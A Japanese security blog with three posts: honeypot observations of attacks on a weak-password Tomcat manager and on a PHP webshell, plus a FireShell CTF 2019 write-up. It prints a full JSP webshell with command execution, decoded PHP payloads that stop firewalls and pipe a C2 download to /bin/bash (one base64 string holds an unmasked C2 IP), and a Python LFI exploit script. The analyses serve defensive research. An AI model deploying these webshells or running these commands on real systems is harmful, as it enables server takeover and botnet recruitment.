こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

Tomcatの管理機能に対するパスワードクラック後の攻撃を観察する

Apache Tomcatにはデフォルトで管理機能を持つmanagerアプリが配備されており/manager/htmlでアクセスできます。
認証方式にはBASIC認証を採用しています。
(なお、デフォルト設定ではローカルからのアクセスのみ許可する設定が入っています。)

ハニーポットには、この管理機能を狙ったBASIC認証のパスワードクラックのアクセスが高頻度で着弾します。
こういうときに「なら、本当にログインできたら、お前ら(攻撃者)どうするつもりなの?」と思うのは自然な発想ですね。

ということで、パスワードクラックされやすいID/パスワードを設定したTomcat環境を用意して観察しました。

環境

先日公開した高対話型ハニーポットのBW-Potを使用しました。

github.com

サーバはAmazon EC2を使用しています。

ID/Passwordには、設定値のサンプルとして使われているtomcat/s3cretを設定しました。

パスワードクラックの件数推移

まず、パスワードクラックの成功と失敗の数を集計しました。
/manager/htmlへのアクセスを条件に集計しています。

年月日 成功 失敗
20190113 5 40
20190114 3 27
20190115 0 1
20190116 9 83
20190117 2 18
20190118 4 20
20190119 2 18
20190120 5 36
20190121 5 36
20190122 1 2
20190123 2 24
20190124 0 3
20190125 2 22
20190126 2 19
20190127 6 55
20190128 0 4
20190129 2 20
20190130 0 1
20190131 0 1
20190201 2 20
20190202 1 2
合計 53 482

成功率11%です。すごく優秀な数値ですね。
tomcat/s3cretは絶対に使用してはいけないことがよくわかります。

攻撃の流れ

BASIC認証を突破し管理機能が使用されたログを確認したのは1/18でした。
その後、1/20、1/21、1/22、2/2にも同様の攻撃を確認しています。

1/18~1/22はハニーポットの設定がいまいちで最後まで追いきれなかったので、2/2の攻撃を紹介します。

1. 事前確認

まず、/admin-manager/admin.jspへPOSTリクエストがありました。
リクエストボディにはact=SIがセットされていました。

このリクエストの正体は後述します。

2. BASIC認証の突破

次に、/manager/htmlBASIC認証の認証リクエストがありました。

ID/Passwordにtomcat/s3cretがセットされていたため、認証に成功しています。
こちらのリクエストの前後ではID/Passwordを複数試すログは確認しておらず、一発で認証に成功しています。
この日以前のパスワードクラック攻撃にて、認証に成功するID/Passwordを特定済みだったものと推察されます。

3. WARファイルのアップロードとデプロイ

BASIC認証に成功後に表示されるTomcatの管理機能には、Webアプリケーションを固めたWARファイルをアップロードしてデプロイする機能があります。

その機能を利用してadmin-manager.warというファイルをアップロードするリクエストがありました。

WARファイルの中身は、admin.jspというJSPファイルが1つあるだけです。
タイムスタンプが偽装されているかもしれませんが、ファイルの更新日時は2015年10月22日 ‏3:33:43で、だいぶ古いです。
本当に古いのか、管理者による発見を抑止のために古いタイムスタンプを設定しているかは不明です。

JSPファイルのコードは以下の通りです。

<%@ page import="java.util.*,java.io.*,java.net.*" pageEncoding="UTF-8"%><%!
class Base64Encrypt {
    String CODES = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

    byte[] Base64Decode(String input) {
        byte decoded[] = new byte[((input.length()*3)/4) - (input.indexOf('=') > 0 ? (input.length() - input.indexOf('=')) : 0)];
        char[] inChars = input.toCharArray();
        int j = 0;
        int b[] = new int[4];
        for (int i=0; i<inChars.length; i+=4) {
            b[0] = CODES.indexOf(inChars[i]);
            b[1] = CODES.indexOf(inChars[i+1]);
            b[2] = CODES.indexOf(inChars[i+2]);
            b[3] = CODES.indexOf(inChars[i+3]);
            decoded[j++] = (byte) ((b[0] << 2) | (b[1] >> 4));
                if (b[2] < 64) {
                    decoded[j++] = (byte) ((b[1] << 4) | (b[2] >> 2));
                    if (b[3] < 64) {
                        decoded[j++] = (byte) ((b[2] << 6) | b[3]);
                }
            }
        }
        return decoded;
    }

    String Base64Encode(byte[] in)
    {
        StringBuilder out = new StringBuilder((in.length*4)/3);
        int b;
        for (int i=0; i<in.length; i+=3) {
            b = (in[i] & 0xFC) >> 2;
            out.append(CODES.charAt(b));
            b = (in[i] & 0x03) << 4;
            if (i+1 < in.length) {
                b |= (in[i+1] & 0xF0) >> 4;
                out.append(CODES.charAt(b));
                b = (in[i+1] & 0x0F) << 2;
                if (i+2 < in.length) {
                    b |= (in[i+2] & 0xC0) >> 6;
                    out.append(CODES.charAt(b));
                    b = in[i+2] & 0x3F;
                    out.append(CODES.charAt(b));
                } else {
                    out.append(CODES.charAt(b));
                    out.append('=');
                }
            } else {
                out.append(CODES.charAt(b));
                out.append("==");
            }
        }
        return out.toString();
    }
}
%><% 
String Action = request.getParameter("act");
String Parameter1 = request.getParameter("p1");
String Parameter2 = request.getParameter("p2");
//String CurrentDir = request.getRealPath("/");
//String CurrentDir = application.getRealPath("/");
String CurrentDir = request.getSession().getServletContext().getRealPath("/");
if (Action != null)
{
    if (Action.equals("SI"))
    {
        // SysInfo
        String PcName = System.getenv("COMPUTERNAME");
        if (PcName==null) PcName = System.getenv("HOSTNAME");
        if (PcName==null) {
            try {
                PcName = InetAddress.getLocalHost().getHostName();
            } catch (UnknownHostException e) {
                //e.printStackTrace();
            }
        }
        if (PcName==null) {
            File f = new File("/etc/hostname");
            if (f.exists()) {
                BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f)));
                PcName=br.readLine();
                br.close();
            }
        }

        String SysInfo = "Hello, Peppa!|" + System.getProperty("os.name") +" "+ System.getProperty("os.version") +" "+ System.getProperty("os.arch") +" + "+ PcName +":"+ System.getProperty("user.name") +" + "+ request.getRealPath(request.getServletPath())+"|";
        out.print(SysInfo);
    }
    else if (Action.equals("UF"))
    {
        // UpFile
        if (Parameter1!=null && Parameter2!=null)
        {
            byte[] Binary = new Base64Encrypt().Base64Decode(Parameter2);
            FileOutputStream fos = new FileOutputStream(CurrentDir+Parameter1);
            if (fos != null)
            {
                fos.write(Binary);
                fos.close();
            }
        }
    }
    else if (Action.equals("SH") && Parameter1!=null)
    {
        // Shell
        //response.setContentType("text/html");
        out.println("<Pre>");

        String Command = Parameter1;
        if (Parameter2!=null && Parameter2.equals("True"))
        {
            byte[] Binary = new Base64Encrypt().Base64Decode(Parameter1);
            Command = new String(Binary);
        }
        out.println(">"+Command);
        Command += " 2>&1";

        try {
            boolean IsWin = true;
            String[] CmdLine = new String[]{"cmd.exe","/c",Command};

            if (System.getProperty("file.separator").equals("/")) {
                IsWin = false;
                CmdLine = new String[]{"/bin/bash","-c",Command};
            }

            File WorkDir = new File(CurrentDir);

            Process p = Runtime.getRuntime().exec(CmdLine, null, WorkDir);

            BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
            String d = br.readLine();
            while (d != null)
            {
                out.println(d);
                d = br.readLine();
            }
        }
        catch (Exception e)
        {
            out.print("[-] Exception: "+e.toString());
        }
    }
}
%>

このJSPには3つの機能があることがわかります。actパラメータで機能を指定します。

①システム情報確認機能
act=SIを指定すると動作する機能です。System Informationの略でしょうか。
OS情報、コンピュータ名、ユーザ名等の情報を返します。

②ファイル作成機能
act=UFを指定すると動作する機能です。Upload Fileの略でしょうか。
BASE64エンコードした文字列を送信すると、デコードしてファイルに書き出します。

③コマンド実行機能
act=SHを指定すると動作する機能です。Shellの略でしょうか。
任意のコマンドを実行します。WindowsLinuxかを判別してcmd.exe/bin/bashかを切り替えます。
BASE64エンコードしたコマンド文字列にも対応しています。

前述の1回目のリクエストは、このJSPが既に配備されていることの確認を目的としたものと推察されます。

4. システム情報確認

admin-manager.warがデプロイされた後、/admin-manager/admin.jspへPOSTリクエストがありました。
リクエストボディにはact=SIがセットされていました。
1回目のリクエストと同じです。

このリクエストに対しては以下のレスポンスを返却しました。
Hello, Peppa!|Linux 4.15.0-1032-aws amd64 + XXXXXXXXXXXX:root + /usr/local/tomcat/webapps/admin-manager/admin.jsp|

5. C2サーバとの通信および攻撃コード実行

システム情報確認後、/admin-manager/admin.jspへPOSTリクエストがありました。
リクエストボディには以下のデータがセットされていました。

act=SH&p2=True&p1=<BASE64エンコード文字列>

BASE64デコードすると以下のコマンドになります。

(wget -U "Mozilla/WGET" -q -O- http://XXX.XXX.XXX.XXX/Update/New/i.php ||
  curl -A "Mozilla/CURL" -fsSL http://XXX.XXX.XXX.XXX/Update/New/i.php ||
  python -c "from urllib2 import urlopen,Request;print(urlopen(Request('http://XXX.XXX.XXX.XXX/Update/New/i.php',None,{'User-Agent':'Mozilla/Python2'})).read());") 
| /bin/bash

※適当なところで改行を挟んでいます。IPアドレスはマスク化しています。

C2サーバから次の攻撃コード(シェルスクリプト想定)をダウンロードして実行しようとしています。 ダウンロードしてきた攻撃コードをそのまま/bin/bashに渡して実行することで、サーバ上にファイルを残さないようにしています。

このC2サーバの攻撃コードですが、C2サーバから404が返却されたため、実行は未遂に終わりました。
但し、配備され次第、攻撃コード実行によりDDOS攻撃等へ加担してしまう可能性が高く、いわゆるボットネットに組み込まれたと推察されます。

タイムライン

一連のリクエストのタイムラインは以下の通りです。

No 日時 イベント
1 2019-02-02 00:18:59 /admin-manager/admin.jspact=SIでアクセス。未デプロイのため失敗。
2 2019-02-02 00:18:59 /manager/htmlにアクセス。BASIC認証成功。
3 2019-02-02 00:19:00 admin-managerをアップロード、デプロイ。成功。
4 2019-02-02 00:19:05 /admin-manager/admin.jspact=SIでアクセス。成功。
5 2019-02-02 00:19:06 /admin-manager/admin.jspact=SHでアクセス。コマンド実行は成功するがC2サーバから404を返却。

リクエストの時間を見ると、認証成功後の攻撃も完全に自動化していることがわかります。

まとめ

約1カ月ほどで観察できたTomcatを対象としたパスワードクラック後の攻撃パターンは、今回紹介した1パターンのみでした。
パスワードクラックの試行数および成功数と比べると意外に少ないと感じています。他は、研究者によるリサーチ目的か、攻撃者が一旦脆弱なサーバであることを把握した上で次のアクションのタイミングを別途狙っているのでしょうか。

ただ、ログイン可能なID/Passwordが特定されている状態では、自動で速やかに不正なアプリケーションをデプロイされ、ボットネットに組み込まれることがわかりました。

また、実は、/admin-manager/admin.jspの①システム情報確認機能が返却するHello, Peppa!というキーワードと、C2サーバのhttp://XXX.XXX.XXX.XXX/Update/New/i.phpのURLは、前回の記事で紹介したPHPのWebShellと同じものでした。

つまり、"特定の攻撃者"が、異なる言語やプラットフォームに対してあの手この手でスキャンおよび攻撃を仕掛けてきており、最終的に実行させられる攻撃コードは同じ(C2サーバは同じ)であることがわかりました。

今後も継続して観察を続けます。

WebShell型ハニーポットを設置してWebShellに対するスキャンを観察した(続)

前回の観察結果の続報です。

graneed.hatenablog.com

前回は、新規WebShell設置の攻撃3パターンと、その新規WebShellの稼働確認を観察しました。

稼働確認で終わってしまったのは、攻撃者の期待に沿ったレスポンスを返却しなかったためと推測されます。 実は、次に同様の稼働確認に備え、攻撃者が期待するレスポンスを返却するようハニーポットを変更し、スタンバイしていました。

今回、稼働確認の次の攻撃を観測したのでまとめます。

観測結果

1. WebShellの稼働確認行為

前回は2019/1/19に攻撃者がimages.phpというWebShellを設置し、それが稼働しているか確認するリクエストがありました。

それから待つこと10日間、2019/1/29に同じリクエストの着弾を確認しました。
POSTリクエストです。以下、HTTPリクエストボディの内容です。

a=just+for+fun&code=ZGllKCJIZWxsbywgUGVwcGEhIik7

BASE64デコードすると、die("Hello, Peppa!");となります。

今回、ハニーポットを変更し、Base64文字列をデコードしてコード実行するよう対応したため、こちらのリクエストに対して攻撃者の期待通りにHello, Peppa!と返しました。一応、サーバ上で試してみます。

# curl "http://localhost/images.php" -d "a=just+for+fun&code=ZGllKCJIZWxsbywgUGVwcGEhIik7"
Hello, Peppa!

2. サーバ情報の抜き取り行為

稼働確認のレスポンス返却後、その1秒後に同じIPアドレスから次のリクエストの着弾を確認しました。
POSTリクエストです。以下、HTTPリクエストボディの内容です。

a=just+for+fun&code=JHRpbWUgPSBAc3RydG90aW1lKCIyMDE1LTA3LTE2IDE3OjMyOjMyIik7QHRvdWNoKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSwkdGltZSwkdGltZSk7aWYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKXskdXNlcj1AZ2V0X2N1cnJlbnRfdXNlcigpOyR1aWQ9QGdldG15dWlkKCk7JGdpZD1AZ2V0bXlnaWQoKTskZ3JvdXA9Ij8iO31lbHNleyR1aWQ9QHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOyRnaWQ9QHBvc2l4X2dldGdyZ2lkKEBwb3NpeF9nZXRlZ2lkKCkpOyR1aWQ9JHVpZFsndWlkJ107JHVzZXI9JHVpZFsnbmFtZSddOyRnaWQ9JGdpZFsnZ2lkJ107JGdyb3VwPSRnaWRbJ25hbWUnXTt9ZGllKCJIZWxsbywgUGVwcGEhfCIucGhwX3VuYW1lKCkuIiArICIuJ1VzZXI6Jy4kdWlkLicoJy4kdXNlci4nKS9Hcm91cDonLiRnaWQuJygnLiRncm91cC4nKScuIiArICIuJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddLiIgKyAiLiRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10uIiArICIuJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddLiJ8Iik7

BASE64デコードして整形します。

$time = @strtotime("2015-07-16 17:32:32");
@touch($_SERVER["SCRIPT_FILENAME"],$time,$time);

if(!function_exists('posix_getegid')){
    $user=@get_current_user();
    $uid=@getmyuid();
    $gid=@getmygid();
    $group="?";
}else{
    $uid=@posix_getpwuid(@posix_geteuid());
    $gid=@posix_getgrgid(@posix_getegid());
    $uid=$uid['uid'];
    $user=$uid['name'];
    $gid=$gid['gid'];
    $group=$gid['name'];
}

die("Hello, Peppa!|".php_uname()." + "
    .'User:'.$uid.'('.$user.')/Group:'.$gid.'('.$group.')'." + "
    .$_SERVER['SERVER_SOFTWARE']." + "
    .$_SERVER['DOCUMENT_ROOT']." + "
    .$_SERVER['SCRIPT_FILENAME']."|");

※適当なところで改行を挟んでいます。

user名、group名、サーバソフトウェア情報、ドキュメントルート、実行ファイル名などの情報を取得しようとしています。

また、冒頭でimages.phpのタイムスタンプを変更しようとしています。
これは、サーバ管理者が新しいタイムスタンプのWebShellファイルに気付かないようにするための策でしょう。

実行してみると以下の結果が返却されます。

# curl "http://localhost/images.php" -d "a=just+for+fun&code=JHRpbWUgPSBAc3RydG90aW1lKCIyMDE1LTA3LTE2IDE3OjMyOjMyIik7QHRvdWNoKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSwkdGltZSwkdGltZSk7aWYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKXskdXNlcj1AZ2V0X2N1cnJlbnRfdXNlcigpOyR1aWQ9QGdldG15dWlkKCk7JGdpZD1AZ2V0bXlnaWQoKTskZ3JvdXA9Ij8iO31lbHNleyR1aWQ9QHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOyRnaWQ9QHBvc2l4X2dldGdyZ2lkKEBwb3NpeF9nZXRlZ2lkKCkpOyR1aWQ9JHVpZFsndWlkJ107JHVzZXI9JHVpZFsnbmFtZSddOyRnaWQ9JGdpZFsnZ2lkJ107JGdyb3VwPSRnaWRbJ25hbWUnXTt9ZGllKCJIZWxsbywgUGVwcGEhfCIucGhwX3VuYW1lKCkuIiArICIuJ1VzZXI6Jy4kdWlkLicoJy4kdXNlci4nKS9Hcm91cDonLiRnaWQuJygnLiRncm91cC4nKScuIiArICIuJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddLiIgKyAiLiRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10uIiArICIuJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddLiJ8Iik7"
Hello, Peppa!|Linux 0f734fad15c6 4.15.0-1031-aws #33-Ubuntu SMP Fri Dec 7 09:32:27 UTC 2018 x86_64 + User:33()/Group:33() + Apache/2.4.25 (Debian) + /var/www/html + /var/www/html/webshell.php|

3. C2サーバとの通信および攻撃コード実行

更にその1秒後に同じIPアドレスから次のリクエストの着弾を確認しました。
POSTリクエストです。以下、HTTPリクエストボディの内容です。

a=just+for+fun&code=QGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywnMCcpO2Z1bmN0aW9uIGV4ZWN1dGUoJGNmZSl7JHJlcz0nJztpZigkY2ZlKXskY2ZlPSRjZmUuJyAyPiYxJztpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKXtAb2Jfc3RhcnQoKTtAc3lzdGVtKCRjZmUpOyRyZXM9QG9iX2dldF9jb250ZW50cygpO0BvYl9lbmRfY2xlYW4oKTt9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSl7QG9iX3N0YXJ0KCk7QHBhc3N0aHJ1KCRjZmUpOyRyZXM9QG9iX2dldF9jb250ZW50cygpO0BvYl9lbmRfY2xlYW4oKTt9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKXskcmVzPUBzaGVsbF9leGVjKCRjZmUpO31lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpe0BleGVjKCRjZmUsJHJlcyk7JHJlcz1qb2luKCJcbiIsJHJlcyk7fWVsc2VpZihAaXNfcmVzb3VyY2UoJGY9QHBvcGVuKCRjZmUsInIiKSkpe3doaWxlKCFAZmVvZigkZikpeyRyZXMuPUBmcmVhZCgkZiwxMDI0KTt9QHBjbG9zZSgkZik7fWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Byb2Nfb3BlbicpKXskZGVzYz1hcnJheSgwPT5hcnJheSgicGlwZSIsInIiKSwxPT5hcnJheSgicGlwZSIsInciKSwyPT5hcnJheSgicGlwZSIsInciKSk7JHByb2M9cHJvY19vcGVuKCRjZmUsJGRlc2MsJHBpcGVzLGdldGN3ZCgpKTtpZihpc19yZXNvdXJjZSgkcHJvYykpe2ZjbG9zZSgkcGlwZXNbMF0pO3doaWxlKCFmZW9mKCRwaXBlc1sxXSkpeyRyZXMuPWZyZWFkKCRwaXBlc1sxXSwxMDI0KTt9ZmNsb3NlKCRwaXBlc1sxXSk7d2hpbGUoIWZlb2YoJHBpcGVzWzJdKSl7JHJlcy49ZnJlYWQoJHBpcGVzWzJdLDEwMjQpO31mY2xvc2UoJHBpcGVzWzJdKTtwcm9jX2Nsb3NlKCRwcm9jKTt9fX1yZXR1cm4gJHJlczt9JFBTPScvZXRjL2luaXQuZC9pcHRhYmxlcyBzdG9wO3NlcnZpY2UgaXB0YWJsZXMgc3RvcDtTdVNFZmlyZXdhbGwyIHN0b3A7cmVTdVNFZmlyZXdhbGwyIHN0b3A7JztlY2hvKEBleGVjdXRlKCRQUyk%2FJ3N1Y2Nlc3MnOidmYWlsZWQnKTskUFM9Jyh3Z2V0IC1VICJNb3ppbGxhL1dHRVQiIC1xIC1PLSBodHRwOi8vMTM0LjE3NS4zMy43MS9VcGRhdGUvdGVzdC9pLnBocCB8fCBjdXJsIC1BICJNb3ppbGxhL0NVUkwiIC1mc1NMIGh0dHA6Ly8xMzQuMTc1LjMzLjcxL1VwZGF0ZS90ZXN0L2kucGhwIHx8IHB5dGhvbiAtYyAiZnJvbSB1cmxsaWIyIGltcG9ydCB1cmxvcGVuLFJlcXVlc3Q7cHJpbnQodXJsb3BlbihSZXF1ZXN0KFwnaHR0cDovLzEzNC4xNzUuMzMuNzEvVXBkYXRlL3Rlc3QvaS5waHBcJyxOb25lLHtcJ1VzZXItQWdlbnRcJzpcJ01vemlsbGEvUHl0aG9uMlwnfSkpLnJlYWQoKSk7IikgfCAvYmluL2Jhc2gnO2RpZShAZXhlY3V0ZSgkUFMpPydzdWNjZXNzJzonZmFpbGVkJyk7

BASE64デコードして整形します。

@ini_set('display_errors','0');
function execute($cfe){
  $res='';
  if($cfe){
    $cfe=$cfe.' 2>&1';
    if(function_exists('system')){
      @ob_start();
      @system($cfe);
      $res=@ob_get_contents();
      @ob_end_clean();
    }elseif(function_exists('passthru')){
      @ob_start();
      @passthru($cfe);
      $res=@ob_get_contents();
      @ob_end_clean();
    }elseif(function_exists('shell_exec')){
      $res=@shell_exec($cfe);
    }elseif(function_exists('exec')){
      @exec($cfe,$res);
      $res=join("\n",$res);
    }elseif(@is_resource($f=@popen($cfe,"r"))){
      while(!@feof($f)){
        $res.=@fread($f,1024);
      }
      @pclose($f);
    }elseif(function_exists('proc_open')){
      $desc=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));
      $proc=proc_open($cfe,$desc,$pipes,getcwd());
      if(is_resource($proc)){
        fclose($pipes[0]);

        while(!feof($pipes[1])){
          $res.=fread($pipes[1],1024);
        }
        fclose($pipes[1]);

        while(!feof($pipes[2])){
          $res.=fread($pipes[2],1024);
        }
        fclose($pipes[2]);

        proc_close($proc);
      }
    }
  }
  return $res;
}

$PS='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;';
echo(@execute($PS)?'success':'failed');

$PS='(wget -U "Mozilla/WGET" -q -O- http://XXX.XXX.XXX.XXX/Update/test/i.php || curl -A "Mozilla/CURL" -fsSL http://XXX.XXX.XXX.XXX/Update/test/i.php || python -c "from urllib2 import urlopen,Request;print(urlopen(Request(\'http://XXX.XXX.XXX.XXX/Update/test/i.php\',None,{\'User-Agent\':\'Mozilla/Python2\'})).read());") | /bin/bash';
die(@execute($PS)?'success':'failed');

※適当なところで改行を挟んでいます。IPアドレスはマスク化しています。

if/elseifの分岐が激しいexecute関数ですが、OSコマンドが実行可能な各種関数の存在チェックし実行しています。
disable_functionsの設定等で、特定の関数実行が禁止されていることに備えた処理でしょう。
絶対にOSコマンドを実行してやる」という気概を感じます。

攻撃者が実行したいOSコマンドは下4行から確認できます。

まず、以下のコードでファイアウォールの停止を狙っています。

$PS='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;';
echo(@execute($PS)?'success':'failed');

次に以下のコードで、C2サーバから次の攻撃コード(シェルスクリプト想定)をダウンロードして実行しようとしています。
ダウンロードしてきた攻撃コードをそのまま/bin/bashに渡して実行することで、サーバ上にファイルを残さないようにしています。

$PS='(wget -U "Mozilla/WGET" -q -O- http://XXX.XXX.XXX.XXX/Update/test/i.php || curl -A "Mozilla/CURL" -fsSL http://XXX.XXX.XXX.XXX/Update/test/i.php || python -c "from urllib2 import urlopen,Request;print(urlopen(Request(\'http://XXX.XXX.XXX.XXX/Update/test/i.php\',None,{\'User-Agent\':\'Mozilla/Python2\'})).read());") | /bin/bash';
die(@execute($PS)?'success':'failed');

このC2サーバの攻撃コードですが、C2サーバから404が返却されたため、実行は未遂に終わりました。

C2サーバのルートディレクトリにアクセスすると、中国語で書かれた一見普通に見える中華料理の紹介サイトが表示されました。
乗っ取られたサイトなのか、攻撃者の偽装サイトかは不明です。

まとめ

攻撃者が期待するレスポンスに応えることで、段階的に攻撃リクエストを観察できました。

今回、C2サーバには次の攻撃コードは存在しませんでしたが、攻撃者がC2サーバに攻撃コードを設置した上で今回のリクエストを受けると、本当に攻撃コードを実行してしまう可能性があります。これはもうボットネットに組み込まれているということでしょうか。
(本当に攻撃に加担しないよう、一応、いくつかの対策はしていますが・・・。)

なお、この記事を書いている2019/2/2の早朝に、今回紹介した1~3のリクエスト着弾を大量に確認しました。
ただ、依然としてC2サーバからは404が返却されています。

FireShell CTF 2019 Writeup - Bad Injections

解答者がそこそこ多かったため最低点まで下がってしまったが、段階的に複数の脆弱性を突いて攻略していく問題で、やり応えはあった。
1つ1つの攻撃手法の難易度は高くなく、1問で複数の脆弱性を学べるという点では良問ではないだろうか。

Question

f:id:graneed:20190127203728p:plain

Solution

URLにアクセスすると、Home、About、Contact、Listの4つのタブ。

どうやら作りかけのWebサイトの様子。

Stage1. Local File Inclusion

Listの画面を表示する。

f:id:graneed:20190127205216p:plain

<!DOCTYPE html>
<html lang="en" dir="ltr">
  <head>
    <meta charset="utf-8">
    <title></title>
  </head>
  <body>
    <link rel="stylesheet" type="text/css" href="semantic/dist/semantic.min.css">
    <link rel="stylesheet" type="text/css" href="semantic/dist/semantic.min.css">
    <script
    src="https://code.jquery.com/jquery-3.1.1.min.js"
    integrity="sha256-hVVnYaiADRTO2PzUGmuLJr8BLUSjGIZsDYGmIJLv2b8="
    crossorigin="anonymous"></script>
    <script src="semantic/dist/semantic.min.js"></script>
    <div class="ui tabular menu">
      <a class="item" href='/'>
        Home
      </a>
      <a class="item" href='about-us'>
        About
      </a>
      <a class="item" href='contact-us'>
        Contact
      </a>
      <a class='item active' href="list">
        List
      </a>
    </div>
    <div class='ui center aligned container'>
    <img src="download?file=files/1.jpg&hash=7e2becd243552b441738ebc6f2d84297" height="500"/><img src="download?file=files/test.txt&hash=293d05cb2ced82858519bdec71a0354b" height="500"/>  </div>
  </body>
</html>

download?file=files/test.txt&hash=293d05cb2ced82858519bdec71a0354bにアクセスすると以下のファイルをダウンロードできた。
サーバ上に/app/Controllers/Download.phpというファイルがあることがわかる。

<br />
<b>Notice</b>:  Undefined variable: type in <b>/app/Controllers/Download.php</b> on line <b>21</b><br />

1

fileパラメータにLFIの可能性がありそう。hashパラメータは何だろうか。

/etc/passwdの取得と、hashパラメータの削除を試してみる。

root@kali:~# curl "http://68.183.31.62:94/download?file=../../../etc/passwd&hash=293d05cb2ced82858519bdec71a0354b"
not found!

root@kali:~# curl "http://68.183.31.62:94/download?file=files/test.txt"
jdas

どうやらfilehashが条件を満たしていないと、ファイルをダウンロードできないようだ。

試しにfiles/test.txt文字列のmd5を取ってみる。

root@kali:~# echo -n files/test.txt | md5sum
293d05cb2ced82858519bdec71a0354b  -

ビンゴ。
fileパラメータのmd5hashパラメータにセットすれば、LFIで任意のファイルを取得できる。

毎回、hashを計算するのは面倒なので、簡単なスクリプトを作る。

import sys
import hashlib
import requests

path = sys.argv[1]
m = hashlib.md5()
m.update(path)
h = m.hexdigest()
r = requests.get(
    "http://68.183.31.62:94/download",
    params={
        "file":path,
        "hash":h
    }
)
print(r.text)

test.txtのヒントを元に、/app/Controllers/Download.phpを取得する。

root@kali:~/Contest/FireShellCTF2019# python lfi.py /app/Controllers/Download.php
<br />
<b>Notice</b>:  Undefined variable: type in <b>/app/Controllers/Download.php</b> on line <b>21</b><br />
<?php

class Download extends Controller{
  public static function downloadFile($file,$hash){
    if(file_exists($file) && md5($file) == $hash){
      switch(strtolower(substr(strrchr(basename($file),"."),1))){
         case "pdf": $type="application/pdf"; break;
         case "exe": $type="application/octet-stream"; break;
         case "zip": $type="application/zip"; break;
         case "doc": $type="application/msword"; break;
         case "xls": $type="application/vnd.ms-excel"; break;
         case "ppt": $type="application/vnd.ms-powerpoint"; break;
         case "gif": $type="image/gif"; break;
         case "png": $type="image/png"; break;
         case "jpg": $type="image/jpg"; break;
         case "mp3": $type="audio/mpeg"; break;
         case "php": ; break;
         case "htm":
         case "html":
      }
      header("Content-Type: ".$type);
      header("Content-Length: ".filesize($file));
      header("Content-Disposition: attachment; filename=".basename($file));
      return readfile($file);
    }else{
      echo 'not found!';
    }
  }
}

 ?>
1081

他、得られたソースファイルを手掛かりに、芋づる式にソースファイルを取得する。
全ては載せていないが、合計20近くのファイルがあった。

root@kali:~/Contest/FireShellCTF2019# python lfi.py /app/index.php
<br />
<b>Notice</b>:  Undefined variable: type in <b>/app/Controllers/Download.php</b> on line <b>21</b><br />
<?php
ini_set('display_errors',1);
ini_set('display_startup_erros',1);
error_reporting(E_ALL);
require_once('Routes.php');

function __autoload($class_name){
  if(file_exists('./classes/'.$class_name.'.php')){
    require_once './classes/'.$class_name.'.php';
  }else if(file_exists('./Controllers/'.$class_name.'.php')){
    require_once './Controllers/'.$class_name.'.php';
  }

}
?>
386

---------------------------------------------------------------------------------
root@kali:~/Contest/FireShellCTF2019# python lfi.py /app/Routes.php
<br />
<b>Notice</b>:  Undefined variable: type in <b>/app/Controllers/Download.php</b> on line <b>21</b><br />
<?php

Route::set('index.php',function(){
  Index::createView('Index');
});

Route::set('index',function(){
  Index::createView('Index');
});

Route::set('about-us',function(){
  AboutUs::createView('AboutUs');
});

Route::set('contact-us',function(){
  ContactUs::createView('ContactUs');
});

Route::set('list',function(){
  ContactUs::createView('Lista');
});

Route::set('verify',function(){
  if(!isset($_GET['file']) && !isset($_GET['hash'])){
    Verify::createView('Verify');
  }else{
    Verify::verifyFile($_GET['file'],$_GET['hash']);
  }
});


Route::set('download',function(){
  if(isset($_REQUEST['file']) && isset($_REQUEST['hash'])){
    echo Download::downloadFile($_REQUEST['file'],$_REQUEST['hash']);
  }else{
    echo 'jdas';
  }
});

Route::set('verify/download',function(){
  Verify::downloadFile($_REQUEST['file'],$_REQUEST['hash']);
});


Route::set('custom',function(){
  $handler = fopen('php://input','r');
  $data = stream_get_contents($handler);
  if(strlen($data) > 1){
    Custom::Test($data);
  }else{
    Custom::createView('Custom');
  }
});

Route::set('admin',function(){
  if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){
    Admin::createView('Admin');
  }else{
    if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
      Admin::sort($_REQUEST['rss'],$_REQUEST['order']);
    }else{
     echo ";(";
    }
  }
});

Route::set('custom/sort',function(){
  Custom::sort($_REQUEST['rss'],$_REQUEST['order']);
});
Route::set('index',function(){
 Index::createView('Index');
});
 ?>
1554

---------------------------------------------------------------------------------
root@kali:~/Contest/FireShellCTF2019# python lfi.py /app/Controllers/Custom.php
<br />
<b>Notice</b>:  Undefined variable: type in <b>/app/Controllers/Download.php</b> on line <b>21</b><br />
<?php

class Custom extends Controller{
  public static function Test($string){
      $root = simplexml_load_string($string,'SimpleXMLElement',LIBXML_NOENT);
      $test = $root->name;
      echo $test;
  }

}

 ?>
215

---------------------------------------------------------------------------------
